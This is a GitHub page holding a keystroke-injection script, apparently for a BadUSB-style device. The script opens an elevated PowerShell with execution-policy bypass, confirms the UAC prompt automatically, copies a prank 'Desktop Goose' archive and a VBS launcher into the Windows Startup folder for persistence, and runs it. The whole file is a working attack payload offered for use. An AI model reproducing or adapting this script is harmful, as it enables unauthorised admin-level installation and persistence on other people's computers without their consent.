-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathGoose-from-SD.js
52 lines (45 loc) · 1.77 KB
/
Goose-from-SD.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// =============================================================================
// Title: Desktop Goose from SD card.
// Author: @beigeworm | https://github.com/beigeworm
// Description: Copy and start Desktop Goose from the SD card and add persistance.
// Target: Windows 10
// =============================================================================
// *USB SETTING*
// exfil lootchest [REQUIRERD]
// =============================================================================
// Script Setup
layout('us');
// typingSpeed(1,1);
// Main Payload
press("GUI r");
delay(500);
type("powershell -NoP -NonI -Exec Bypass");
delay(500);
press("CONTROL SHIFT ENTER");
delay(2000);
press("ALT y");
delay(4000);
// Copy Files (with persistance)
type("copy d:/apps/goose.zip c:/ProgramData/Microsoft/Windows/\"Start Menu\"\n");
press("ENTER");
type("copy d:/apps/persoose.vbs \"c:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/persoose.vbs\"");
press("ENTER");
type("copy e:/apps/goose.zip c:/ProgramData/Microsoft/Windows/\"Start Menu\"\n");
press("ENTER");
type("copy e:/apps/persoose.vbs \"c:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/persoose.vbs\"");
press("ENTER");
type("copy f:/apps/goose.zip c:/ProgramData/Microsoft/Windows/\"Start Menu\"\n");
press("ENTER");
type("copy f:/apps/persoose.vbs \"c:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/persoose.vbs\"");
press("ENTER");
delay(2000);
type("Expand-Archive -LiteralPath \"c:/ProgramData/Microsoft/Windows/Start Menu/goose.zip\"");
type(" -DestinationPath \"c:/ProgramData/Microsoft/Windows/Start Menu\"");
delay(200);
press("ENTER");
delay(6000);
type("start \"c:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/persoose.vbs\" ; exit");
delay(200);
press("ENTER");
type("exit");
press("ENTER");